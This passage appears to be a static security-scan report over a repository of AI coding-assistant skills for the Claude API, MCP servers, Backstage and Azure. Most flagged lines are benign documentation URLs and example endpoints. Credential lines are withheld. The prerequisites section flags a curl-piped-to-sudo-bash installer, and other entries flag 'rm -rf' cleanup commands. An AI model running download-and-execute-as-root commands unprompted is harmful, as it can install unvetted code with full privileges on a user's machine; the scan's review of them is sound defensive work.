    "auth": {     "type": "mcp_oauth",     "mcp_server_url": "https://mcp.notion.com/mcp",
  • Network accessline 229
    [Credential-related source omitted]
  • Network accessline 230
    "mcp_server_url": "https://mcp.notion.com/mcp",
  • Access to secretsline 231
    [Credential-related source omitted]
  • Network accessline 234
    [Credential-related source omitted]
  • Network accessline 235
    "client_id": "<your OAuth client_id>",       "token_endpoint": "https://api.notion.com/v1/oauth/token",       "token_endpoint_auth": { "type": "none" }
  • Network accessline 236
    "token_endpoint": "https://api.notion.com/v1/oauth/token",
  • Access to secretsline 248
    [Credential-related source omitted]
  • Access to secretsline 249
    [Credential-related source omitted]
  • Access to secretsline 262
    [Credential-related source omitted]

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-claude-api/shared/model-migration.md

  • Network accessline 452
    Haiku 4.5 has its own rate-limit pool separate from Haiku 3 / 3.5. If you're ramping traffic as you migrate, check your tier's Haiku 4.5 limits at [API rate limits](https://platform.claude.com/docs/en/api/rate-limits) — a quota that comfort
  • Network accessline 503
    If the code uses the `AnthropicBedrockMantle` client (Python `anthropic[bedrock]`, TypeScript `@anthropic-ai/bedrock-sdk`, Java `BedrockMantleBackend`, Go `bedrock.NewMantleClient`, etc.) or targets `https://bedrock-mantle.{region}.api.aws/
  • Network accessline 521
    If the code uses `AnthropicAWS` / `AnthropicAws` / `anthropicaws.NewClient` / `AnthropicAwsClient` (or targets `https://aws-external-anthropic.{region}.api.aws`), it is running on **Claude Platform on AWS** — Anthropic-operated, same-day AP

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-claude-api/shared/models.md

  • Network accessline 35
    [Credential-related source omitted]
  • Access to secretsline 35
    [Credential-related source omitted]
  • Access to secretsline 36
    [Credential-related source omitted]

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-claude-api/shared/tool-use-concepts.md

  • Network accessline 99
    Set a `max_continuations` limit (e.g., 5) to prevent infinite loops. For the full guide, see: `https://platform.claude.com/docs/en/build-with-claude/handling-stop-reasons`
  • Network accessline 219
    - URL: `https://platform.claude.com/docs/en/agents-and-tools/tool-use/programmatic-tool-calling`
  • Network accessline 229
    - URL: `https://platform.claude.com/docs/en/agents-and-tools/tool-use/tool-search-tool`
  • Network accessline 312
    model="claude-opus-5", max_tokens=1024,     betas=["mcp-client-2025-11-20"],     mcp_servers=[{"type": "url", "url": "https://example/sse", "name": "example-mcp"}],
  • Network accessline 313
    betas=["mcp-client-2025-11-20"],     mcp_servers=[{"type": "url", "url": "https://example/sse", "name": "example-mcp"}],     tools=[{"type": "mcp_toolset", "mcp_server_name": "example-mcp"}],
  • Network accessline 314
    mcp_servers=[{"type": "url", "url": "https://example/sse", "name": "example-mcp"}],
  • Network accessline 332
    - URL: `https://platform.claude.com/docs/en/agents-and-tools/tool-use/implement-tool-use`
  • Network accessline 342
    - URL: `https://platform.claude.com/docs/en/agents-and-tools/computer-use/overview`
  • Network accessline 354
    - URL: `https://platform.claude.com/docs/en/build-with-claude/context-editing`
  • Network accessline 419
    - Docs: `https://platform.claude.com/docs/en/agents-and-tools/tool-use/memory-tool.md`
  • Network accessline 435
    | Language | Declaration | |---|---| | Python / TypeScript / Ruby / cURL | plain object `{"type": "bash_20250124", "name": "bash"}` |
  • Network accessline 436
    |---|---| | Python / TypeScript / Ruby / cURL | plain object `{"type": "bash_20250124", "name": "bash"}` | | Go | `anthropic.ToolUnionParam{OfBashTool20250124: &anthropic.ToolBash20250124Param{}}` |
  • Network accessline 437
    | Python / TypeScript / Ruby / cURL | plain object `{"type": "bash_20250124", "name": "bash"}` |
  • Network accessline 523
    - URL: `https://platform.claude.com/docs/en/agents-and-tools/tool-use/overview`

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-claude-api/shared/vendor-guide.md

  • Network accessline 22
    1. **The official Anthropic SDK** for the project's language (`anthropic`, `@anthropic-ai/sdk`, `com.anthropic.*`, etc.). This is the default whenever a supported SDK exists for the project. 2. **Raw HTTP** (`curl`, `requests`, `fetch`, `ht
  • Network accessline 23
    2. **Raw HTTP** (`curl`, `requests`, `fetch`, `httpx`, etc.) — only when the user explicitly asks for cURL/REST/raw HTTP, the project is a shell/cURL project, or the language has no official SDK.
  • Network accessline 27
    **Never guess SDK usage.** Function names, class names, namespaces, method signatures, and import paths must come from explicit documentation — either the `{lang}/` files in this skill or the official SDK repositories or documentation links
  • Network accessline 102
    Every SDK language above supports both the beta Tool Runner and Managed Agents (beta) — Python (`@beta_tool` decorator), TypeScript (`betaZodTool` + Zod), Java (annotated classes), Go (`BetaToolRunner` in the `toolrunner` pkg), Ruby (`BaseT
  • Network accessline 189
    **Partner pricing:** The prices above are Anthropic first-party API rates — they also apply to Claude on Microsoft Foundry, which is billed through the Microsoft Marketplace at standard API rates. Claude on Amazon Bedrock and Vertex AI is p
  • Access to secretsline 213
    [Credential-related source omitted]
  • Access to secretsline 215
    [Credential-related source omitted]
  • Network accessline 217
    - **SDK code or `ant` CLI:** just run it. The zero-arg client constructor and every `ant …` subcommand pick up the profile automatically — no env var needed. - **Raw `curl` / HTTP:** get a short-lived token with `ant auth print-credentials 
  • Network accessline 218
    [Credential-related source omitted]
  • Access to secretsline 220
    [Credential-related source omitted]
  • Network accessline 289
    | C# | `Betas = ["fast-mode-2026-02-01"]` | `Speed = Speed.Fast` (`Anthropic.Models.Beta.Messages`) | | PHP | `betas: ['fast-mode-2026-02-01']` | `speed: 'fast'` | | cURL | `anthropic-beta: fast-mode-2026-02-01` header | `"speed": "fast"` i
  • Network accessline 291
    | cURL | `anthropic-beta: fast-mode-2026-02-01` header | `"speed": "fast"` in body |
  • Access to secretsline 343
    [Credential-related source omitted]
  • Access to secretsline 462
    [Credential-related source omitted]
  • Network accessline 470
    **All SDK languages use the same multi-file layout** — directory `{lang}/claude-api/` containing `README.md` (install, client init, basic request, thinking, caching, stop details, misc), `tool-use.md` (tool definitions, agentic loop, Anthro

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-claude-api/typescript/claude-api/README.md

  • Access to secretsline 21
    [Credential-related source omitted]
  • Network accessline 96
    {           type: "image",           source: { type: "url", url: "https://example.com/image.png" },
  • Network accessline 97
    type: "image",           source: { type: "url", url: "https://example.com/image.png" },         },
  • Network accessline 98
    source: { type: "url", url: "https://example.com/image.png" },

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-claude-api/typescript/claude-api/tool-use.md

  • Network accessline 493
    - `https://github.com/anthropics/anthropic-sdk-typescript/blob/main/examples/tools-helpers-memory.ts`

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-claude-api/typescript/managed-agents/README.md

  • Network accessline 3
    > **Bindings not shown here:** This README covers the most common managed-agents flows for TypeScript. If you need a class, method, namespace, field, or behavior that isn't shown, web_fetch the TypeScript SDK repo **or the relevant docs pag
  • Access to secretsline 19
    [Credential-related source omitted]
  • Network accessline 68
    ); console.log(session.id, session.status); console.log(`Trace: https://platform.claude.com/workspaces/default/sessions/${session.id}`); // swap 'default' for your workspace ID if the API key is not in the Default workspace
  • Network accessline 70
    console.log(`Trace: https://platform.claude.com/workspaces/default/sessions/${session.id}`); // swap 'default' for your workspace ID if the API key is not in the Default workspace
  • Network accessline 105
    {         type: "github_repository",         url: "https://github.com/owner/repo",
  • Network accessline 106
    type: "github_repository",         url: "https://github.com/owner/repo",         mount_path: "/workspace/repo",
  • Network accessline 107
    url: "https://github.com/owner/repo",
  • Access to secretsline 109
    [Credential-related source omitted]
  • Network accessline 341
    model: "claude-opus-5",   mcp_servers: [     { type: "url", name: "my-tools", url: "https://my-mcp-server.example.com/sse" },
  • Network accessline 342
    mcp_servers: [     { type: "url", name: "my-tools", url: "https://my-mcp-server.example.com/sse" },   ],
  • Network accessline 343
    { type: "url", name: "my-tools", url: "https://my-mcp-server.example.com/sse" },

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-hosted-agent-copilotkit/SKILL.md

  • Network accessline 53
    | Build generative UI | Return compact model-consumable data, not rich formatting. | Render rich content in `useRenderToolCall` or the CopilotKit render map. | Confirm rendering while streaming and after stream end. | | Share agent state | 
  • Network accessline 55
    | Debug stream failures | `curl -N` the AG-UI endpoint with a minimal `RunAgentInput` body. | Inspect browser console and network after backend stream is proven good. | Compare raw SSE events with rendered UI state. |

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-hosted-agent-copilotkit/references/architecture.md

  • Network accessline 62
    - **Architecture A/B**: run the FastAPI/ASP.NET service directly; point the CopilotKit runtime's `HttpAgent` at `http://localhost:<port>/`.
  • Network accessline 84
    - Token audience is `https://ai.azure.com/.default` — the default `cognitiveservices.azure.com` scope yields 401 "audience is incorrect". - Keyless (Entra / `DefaultAzureCredential`) is the norm; the async Python credential path needs `aioh

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-hosted-agent-copilotkit/references/deploy-loop.md

  • Network accessline 41
    Deploy the AG-UI endpoint (Architecture A/C service, or rely on the hosted invocations endpoint for B) where the CopilotKit runtime can reach it server-side; set the runtime's agent URL env var accordingly. Keep auth keyless (Entra) with th

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-hosted-agent-copilotkit/references/hitl.md

  • Network accessline 24
    **`.NET`** uses a different mechanism than Python's wrapper flag: wrap the tool in `ApprovalRequiredAIFunction`, then wrap the *agent* in a `DelegatingAIAgent` that bridges approval content to/from the `request_approval` client tool call (t
  • Network accessline 105
    **Root cause (isolated by calling the hosted agent's bare `/responses` endpoint with curl — no AG-UI, no CopilotKit in the loop):** chaining `previous_response_id` through a response that resolved an `mcp_approval_response` makes the hosted

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-hosted-agent-copilotkit/references/troubleshooting.md

  • Network accessline 9
    1. `curl -N -X POST <agui-endpoint> -H 'Content-Type: application/json' -d '<minimal RunAgentInput>'` — read raw AG-UI SSE events. Reproduces → frontend innocent.
  • Network accessline 36
    | Symptom | Root cause | Fix | | --- | --- | --- | | 401 "audience is incorrect" | Token requested with default `cognitiveservices.azure.com` scope | Request scope `https://ai.azure.com/.default` |
  • Network accessline 37
    | --- | --- | --- | | 401 "audience is incorrect" | Token requested with default `cognitiveservices.azure.com` scope | Request scope `https://ai.azure.com/.default` | | 403 `Microsoft.MachineLearningServices/workspaces/agents/action` despit
  • Network accessline 38
    | 401 "audience is incorrect" | Token requested with default `cognitiveservices.azure.com` scope | Request scope `https://ai.azure.com/.default` |

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/github-cli/scripts/setup-github-app.sh

  • Executable scriptline 1
    #!/bin/bash
  • Network accessline 61
    $(basename "$0") --github-org myorg --app-name myorg-backstage \\         --homepage-url https://backstage.example.com \\
  • Network accessline 62
    --homepage-url https://backstage.example.com \\
  • Network accessline 63
    --callback-url https://backstage.example.com/api/auth/github/handler/frame \\
  • Network accessline 67
    $(basename "$0") --github-org myorg --app-name myorg-backstage \         --homepage-url https://backstage.example.com \
  • Network accessline 68
    --homepage-url https://backstage.example.com \
  • Network accessline 69
    --callback-url https://backstage.example.com/api/auth/github/handler/frame \
  • Network accessline 73
    $(basename "$0") --github-org myorg --app-name myorg-argocd \\         --homepage-url https://argocd.example.com \\
  • Network accessline 74
    --homepage-url https://argocd.example.com \\
  • Network accessline 75
    --callback-url https://argocd.example.com/api/dex/callback \\
  • Network accessline 248
    log_warning "GitHub Apps must be created via web UI:"     echo ""     echo "1. Go to: https://github.com/organizations/${GITHUB_ORG}/settings/apps/new"
  • Network accessline 249
    echo ""     echo "1. Go to: https://github.com/organizations/${GITHUB_ORG}/settings/apps/new"     echo ""
  • Network accessline 250
    echo "1. Go to: https://github.com/organizations/${GITHUB_ORG}/settings/apps/new"
  • Network accessline 291
    log_warning "OAuth Apps must be created via web UI:"     echo ""     echo "1. Go to: https://github.com/organizations/${GITHUB_ORG}/settings/applications/new"
  • Network accessline 292
    echo ""     echo "1. Go to: https://github.com/organizations/${GITHUB_ORG}/settings/applications/new"     echo ""
  • Network accessline 293
    echo "1. Go to: https://github.com/organizations/${GITHUB_ORG}/settings/applications/new"
  • Access to secretsline 319
    [Credential-related source omitted]
  • Access to secretsline 326
    [Credential-related source omitted]
  • Access to secretsline 336
    [Credential-related source omitted]
  • Access to secretsline 359
    [Credential-related source omitted]
  • Access to secretsline 386
    [Credential-related source omitted]
  • Access to secretsline 421
    [Credential-related source omitted]
  • Access to secretsline 422
    [Credential-related source omitted]
  • Access to secretsline 423
    [Credential-related source omitted]
  • Access to secretsline 435
    [Credential-related source omitted]

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/github-codespaces-golden-paths/references/devcontainer-templates.md

  • Network accessline 212
    [![Open in GitHub Codespaces](https://github.com/codespaces/badge.svg)](https://codespaces.new/${{ values.repoUrl }}?quickstart=1)

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/github-copilot-harness-engineering/SKILL.md

  • Network accessline 120
    The prompt-first harness workflow at `https://github.com/baskduf/harness-starter-kit` is optional reference material only when the user asks for it or the target repository already uses it. Do not let that reference override repository evid
  • Network accessline 157
    - [Harness starter kit](https://github.com/baskduf/harness-starter-kit)

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/github-copilot-sdk/SKILL.md

  • Network accessline 106
    - [GitHub Copilot SDK](https://github.com/github/copilot-sdk)

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/github-copilot-sdk/references/extended-guide.md

  • Network accessline 350
    github: {             type: "http",             url: "https://api.githubcopilot.com/mcp/",
  • Network accessline 351
    type: "http",             url: "https://api.githubcopilot.com/mcp/",         },
  • Network accessline 352
    url: "https://api.githubcopilot.com/mcp/",
  • Network accessline 364
    "github": {             "type": "http",             "url": "https://api.githubcopilot.com/mcp/",
  • Network accessline 365
    "type": "http",             "url": "https://api.githubcopilot.com/mcp/",         },
  • Network accessline 366
    "url": "https://api.githubcopilot.com/mcp/",
  • Network accessline 378
    "github": {             "type": "http",             "url": "https://api.githubcopilot.com/mcp/",
  • Network accessline 379
    "type": "http",             "url": "https://api.githubcopilot.com/mcp/",         },
  • Network accessline 380
    "url": "https://api.githubcopilot.com/mcp/",
  • Network accessline 395
    {             Type = "http",             Url = "https://api.githubcopilot.com/mcp/",
  • Network accessline 396
    Type = "http",             Url = "https://api.githubcopilot.com/mcp/",         },
  • Network accessline 397
    Url = "https://api.githubcopilot.com/mcp/",
  • Network accessline 704
    - **GitHub Repository**: https://github.com/github/copilot-sdk
  • Network accessline 705
    - **Getting Started Tutorial**: https://github.com/github/copilot-sdk
  • Network accessline 706
    - **GitHub MCP Server**: https://github.com/github/github-mcp-server
  • Network accessline 707
    - **MCP Servers Directory**: https://github.com/modelcontextprotocol/servers
  • Network accessline 708
    - **Cookbook**: https://github.com/github/copilot-sdk
  • Network accessline 709
    - **Samples**: https://github.com/github/copilot-sdk

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/github-copilot-usage-metrics/get-enterprise-metrics.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/github-copilot-usage-metrics/get-enterprise-user-metrics.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/github-copilot-usage-metrics/get-org-metrics.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/github-copilot-usage-metrics/get-org-user-metrics.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/github-issue-ops/dispatcher.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 199
    [Credential-related source omitted]

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/github-issue-ops/test_dispatcher.py

  • Executable scriptline 1
    Executable file

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/mcp-builder/LICENSE.txt

  • Network accessline 2
    Apache License                            Version 2.0, January 2004                         http://www.apache.org/licenses/
  • Network accessline 4
    http://www.apache.org/licenses/
  • Network accessline 196
    http://www.apache.org/licenses/LICENSE-2.0

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/mcp-builder/reference/evaluation.md

  • Access to secretsline 398
    [Credential-related source omitted]
  • Access to secretsline 440
    [Credential-related source omitted]
  • Access to secretsline 444
    [Credential-related source omitted]
  • Network accessline 454
    python scripts/evaluation.py \   -t sse \   -u https://example.com/mcp \
  • Network accessline 455
    [Credential-related source omitted]
  • Network accessline 456
    -u https://example.com/mcp \
  • Network accessline 467
    python scripts/evaluation.py \   -t http \   -u https://example.com/mcp \
  • Network accessline 468
    [Credential-related source omitted]
  • Network accessline 469
    -u https://example.com/mcp \
  • Access to secretsline 557
    [Credential-related source omitted]

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/mcp-builder/reference/node_mcp_server.md

  • Dangerous shell operationline 541
    "clean": "rm -rf dist"
  • Network accessline 600
    // Constants const API_BASE_URL = "https://api.example.com/v1";
  • Network accessline 601
    const API_BASE_URL = "https://api.example.com/v1";
  • Access to secretsline 707
    [Credential-related source omitted]
  • Access to secretsline 708
    [Credential-related source omitted]
  • Access to secretsline 719
    [Credential-related source omitted]
  • Access to secretsline 720
    [Credential-related source omitted]
  • Network accessline 737
    const port = parseInt(process.env.PORT || '3000');   app.listen(port, () => {     console.error(`MCP server running on http://localhost:${port}/mcp`);
  • Network accessline 738
    app.listen(port, () => {     console.error(`MCP server running on http://localhost:${port}/mcp`);   });
  • Network accessline 739
    console.error(`MCP server running on http://localhost:${port}/mcp`);

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/mcp-builder/reference/python_mcp_server.md

  • Network accessline 42
    **For complete SDK documentation, use WebFetch to load:** `https://raw.githubusercontent.com/modelcontextprotocol/python-sdk/main/README.md`
  • Network accessline 43
    `https://raw.githubusercontent.com/modelcontextprotocol/python-sdk/main/README.md`
  • Network accessline 233
    async def _make_api_request(endpoint: str, method: str = "GET", **kwargs) -> dict:     '''Reusable function for all API calls.'''     async with httpx.AsyncClient() as client:
  • Network accessline 234
    '''Reusable function for all API calls.'''     async with httpx.AsyncClient() as client:         response = await client.request(
  • Network accessline 235
    async with httpx.AsyncClient() as client:
  • Network accessline 251
    # Good: Async network request async def fetch_data(resource_id: str) -> dict:     async with httpx.AsyncClient() as client:
  • Network accessline 252
    async def fetch_data(resource_id: str) -> dict:     async with httpx.AsyncClient() as client:         response = await client.get(f"{API_URL}/resource/{resource_id}")
  • Network accessline 253
    async with httpx.AsyncClient() as client:
  • Network accessline 258
    # Bad: Synchronous request def fetch_data(resource_id: str) -> dict:     response = requests.get(f"{API_URL}/resource/{resource_id}")  # Blocks
  • Network accessline 259
    def fetch_data(resource_id: str) -> dict:     response = requests.get(f"{API_URL}/resource/{resource_id}")  # Blocks     return response.json()
  • Network accessline 260
    response = requests.get(f"{API_URL}/resource/{resource_id}")  # Blocks
  • Network accessline 352
    # Constants API_BASE_URL = "https://api.example.com/v1"
  • Network accessline 353
    API_BASE_URL = "https://api.example.com/v1"
  • Network accessline 382
    async def _make_api_request(endpoint: str, method: str = "GET", **kwargs) -> dict:     '''Reusable function for all API calls.'''     async with httpx.AsyncClient() as client:
  • Network accessline 383
    '''Reusable function for all API calls.'''     async with httpx.AsyncClient() as client:         response = await client.request(
  • Network accessline 384
    async with httpx.AsyncClient() as client:
  • Access to secretsline 511
    [Credential-related source omitted]
  • Access to secretsline 517
    [Credential-related source omitted]

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/mcp-builder/scripts/connections.py

  • Executable scriptline 1
    Executable file

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/mcp-builder/scripts/evaluation.py

  • Executable scriptline 1
    Executable file
  • Network accessline 315
    [Credential-related source omitted]
  • Network accessline 318
    python evaluation.py -t http -u https://example.com/mcp -m claude-3-5-sonnet-20241022 eval.xml

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/microsoft-agent-framework/SKILL.md

  • Network accessline 21
    - Microsoft Agent Framework is in public preview and changes quickly. - Read the official overview at `https://learn.microsoft.com/agent-framework/overview/agent-framework-overview` before making implementation choices.
  • Network accessline 22
    - Read the official overview at `https://learn.microsoft.com/agent-framework/overview/agent-framework-overview` before making implementation choices. - Prefer official docs and samples for current APIs; treat older Semantic Kernel and AutoG
  • Network accessline 50
    | Source | Rule | Official guide | | --- | --- | --- | | Semantic Kernel | Preserve behavior first, then adopt native Agent Framework patterns incrementally. | `https://learn.microsoft.com/agent-framework/migration-guide/from-semantic-kerne
  • Network accessline 51
    | --- | --- | --- | | Semantic Kernel | Preserve behavior first, then adopt native Agent Framework patterns incrementally. | `https://learn.microsoft.com/agent-framework/migration-guide/from-semantic-kernel/` | | AutoGen | Preserve agent in
  • Network accessline 52
    | Semantic Kernel | Preserve behavior first, then adopt native Agent Framework patterns incrementally. | `https://learn.microsoft.com/agent-framework/migration-guide/from-semantic-kernel/` |
  • Network accessline 53
    | AutoGen | Preserve agent interactions and orchestration semantics before replacing abstractions. | `https://learn.microsoft.com/agent-framework/migration-guide/from-autogen/` |
  • Network accessline 110
    - [Microsoft Agent Framework overview](https://learn.microsoft.com/agent-framework/overview/agent-framework-overview)
  • Network accessline 111
    - [Migration guide from Semantic Kernel](https://learn.microsoft.com/agent-framework/migration-guide/from-semantic-kernel/)
  • Network accessline 112
    - [Migration guide from AutoGen](https://learn.microsoft.com/agent-framework/migration-guide/from-autogen/)

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/microsoft-agent-framework/references/dotnet.md

  • Network accessline 7
    - Repository: <https://github.com/microsoft/agent-framework/tree/main/dotnet>
  • Network accessline 8
    - Samples: <https://github.com/microsoft/agent-framework/tree/main/dotnet/samples>

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/microsoft-agent-framework/references/python.md

  • Network accessline 7
    - Repository: <https://github.com/microsoft/agent-framework/tree/main/python>
  • Network accessline 8
    - Samples: <https://github.com/microsoft/agent-framework/tree/main/python/samples>

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/microsoft-code-reference/SKILL.md

  • Network accessline 4
    Look up official Microsoft API references, SDK signatures, packages, and working code samples before writing or fixing Azure SDK, .NET, Microsoft Graph, or Microsoft API code. Use when verifying method names, overloads, parameters, authenti
  • Network accessline 5
    metadata:   compatibility: "Works best with Microsoft Learn MCP Server (https://learn.microsoft.com/api/mcp). Can also use the mslearn CLI as a fallback." ---
  • Network accessline 6
    compatibility: "Works best with Microsoft Learn MCP Server (https://learn.microsoft.com/api/mcp). Can also use the mslearn CLI as a fallback."
  • Network accessline 132
    - [Microsoft Learn MCP Server](https://learn.microsoft.com/api/mcp)

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/microsoft-docs/SKILL.md

  • Network accessline 134
    - [Aspire docs MCP tools announcement](https://davidpine.dev/posts/aspire-docs-mcp-tools/)
  • Network accessline 135
    - [Aspire PR #14028](https://github.com/dotnet/aspire/pull/14028)

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/microsoft-skill-creator/SKILL.md

  • Network accessline 4
    Create hybrid GitHub Copilot skills for Microsoft technologies using Microsoft Learn MCP tools or the mslearn CLI. Use this skill when the user asks to create a skill for Azure, .NET, Microsoft 365, VS Code, Bicep, Semantic Kernel, a Micros
  • Network accessline 5
    metadata:   compatibility: "Works best with Microsoft Learn MCP Server (https://learn.microsoft.com/api/mcp). Can also use the mslearn CLI as a fallback."   context: "fork"
  • Network accessline 6
    compatibility: "Works best with Microsoft Learn MCP Server (https://learn.microsoft.com/api/mcp). Can also use the mslearn CLI as a fallback."
  • Network accessline 24
    - Prefer the Microsoft Learn MCP Server at `https://learn.microsoft.com/api/mcp` when available.
  • Network accessline 99
    For a Semantic Kernel skill, use `semantic-kernel/`, `sample_codes/getting-started/hello-kernel.cs`, `sample_codes/common-patterns/chat-completion.cs`, and `sample_codes/common-patterns/function-calling.cs`. Useful seed lookups include `mic
  • Network accessline 157
    - [Microsoft Learn MCP Server](https://learn.microsoft.com/api/mcp)
  • Network accessline 158
    - [Semantic Kernel overview](https://learn.microsoft.com/semantic-kernel/overview/)
  • Network accessline 159
    - [Semantic Kernel agent memory](https://learn.microsoft.com/en-us/semantic-kernel/frameworks/agent/agent-memory)

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/open-horizons-backstage-aeg-feature/scripts/validate_aeg_contract.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/open-horizons-backstage-ai-catalog/SKILL.md

  • Network accessline 70
    - [AI in the Software Catalog](https://backstage.io/docs/ai/ai-in-the-catalog)

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/open-horizons-backstage-authentication/SKILL.md

  • Network accessline 92
    - [Backstage authentication](https://backstage.io/docs/auth/)
  • Network accessline 93
    - [GitHub provider](https://backstage.io/docs/auth/github/provider)
  • Network accessline 94
    - [Microsoft Entra ID provider](https://backstage.io/docs/auth/microsoft/provider)

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/open-horizons-backstage-catalog-db-performance/SKILL.md

  • Network accessline 4
    license: Apache-2.0 metadata:   source-repository: "https://github.com/backstage/backstage"
  • Network accessline 5
    metadata:   source-repository: "https://github.com/backstage/backstage"   source-commit: "eeac444a9aba7c107525d2a726851e907418c181"
  • Network accessline 6
    source-repository: "https://github.com/backstage/backstage"

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/open-horizons-backstage-external-integrations/references/azure-devops.md

  • Network accessline 34
    - <https://backstage.io/docs/integrations/azure/locations>
  • Network accessline 35
    - <https://backstage.io/docs/integrations/azure/discovery>
  • Network accessline 36
    - <https://github.com/backstage/community-plugins/tree/main/workspaces/azure-devops>

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/open-horizons-backstage-external-integrations/references/github.md

  • Network accessline 27
    First-party source: <https://backstage.io/docs/integrations/github/github-apps>.

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/open-horizons-backstage-external-integrations/references/servicenow.md

  • Network accessline 32
    - <https://github.com/backstage/community-plugins/tree/main/workspaces/servicenow>
  • Network accessline 33
    - <https://github.com/backstage/community-plugins/tree/main/workspaces/scaffolder-backend-module-servicenow>

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/open-horizons-backstage-framework/SKILL.md

  • Network accessline 67
    - [Backstage framework index](https://backstage.io/docs/framework/generated-index)
  • Network accessline 68
    - [Stable API reference](https://backstage.io/api/stable)
  • Network accessline 69
    - [Core backend service APIs](https://backstage.io/docs/backend-system/core-services/)

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/open-horizons-backstage-kubernetes/SKILL.md

  • Network accessline 73
    - [Backstage Kubernetes](https://backstage.io/docs/features/kubernetes/)
  • Network accessline 74
    - [Kubernetes configuration](https://backstage.io/docs/features/kubernetes/configuration)

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/open-horizons-backstage-mcp-actions/SKILL.md

  • Network accessline 72
    - [MCP Actions Backend](https://backstage.io/docs/ai/mcp-actions)
  • Network accessline 73
    - [Well-known actions](https://backstage.io/docs/ai/well-known-actions)
  • Network accessline 74
    - [Actions Registry](https://backstage.io/docs/backend-system/core-services/actions-registry)

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/open-horizons-backstage-notifications/SKILL.md

  • Network accessline 63
    - [Backstage Notifications](https://backstage.io/docs/notifications/)
  • Network accessline 64
    - [Notification usage](https://backstage.io/docs/notifications/usage)
  • Network accessline 65
    - [Notification processors](https://backstage.io/docs/notifications/processors)

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/open-horizons-backstage-permissions/SKILL.md

  • Network accessline 71
    - [Permission framework overview](https://backstage.io/docs/permissions/overview)
  • Network accessline 72
    - [Plugin author permissions](https://backstage.io/docs/permissions/plugin-authors/01-setup)

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/open-horizons-backstage-search/SKILL.md

  • Network accessline 68
    - [Backstage Search](https://backstage.io/docs/features/search/)
  • Network accessline 69
    - [Search architecture](https://backstage.io/docs/features/search/architecture)
  • Network accessline 70
    - [Getting started with Search](https://backstage.io/docs/features/search/getting-started)

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/open-horizons-deploy-orchestration/SKILL.md

  • Access to secretsline 37
    [Credential-related source omitted]
  • Access to secretsline 46
    [Credential-related source omitted]
  • Access to secretsline 86
    [Credential-related source omitted]
  • Network accessline 118
    # Access ArgoCD kubectl port-forward svc/argocd-server -n argocd 8080:443 # Visit https://localhost:8080
  • Network accessline 120
    # Visit https://localhost:8080
  • Network accessline 122
    # Access Grafana kubectl port-forward svc/prometheus-grafana -n observability 3000:80 # Visit http://localhost:3000
  • Network accessline 124
    # Visit http://localhost:3000

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/open-horizons-deploy-orchestration/references/rollback.md

  • Access to secretsline 9
    [Credential-related source omitted]
  • Access to secretsline 15
    [Credential-related source omitted]

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/open-horizons-deploy-orchestration/references/troubleshooting.md

  • Dangerous shell operationline 10
    rm -rf terraform/.terraform
  • Access to secretsline 18
    [Credential-related source omitted]

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/open-horizons-prerequisites/SKILL.md

  • Network accessline 72
    # Azure CLI curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
  • Dangerous shell operationline 73
    curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
  • Network accessline 73
    curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
  • Network accessline 75
    # Terraform wget -O- https://apt.releases.hashicorp.com/gpg | sudo gpg --dearmor -o /usr/share/keyrings/hashicorp-archive-keyring.gpg
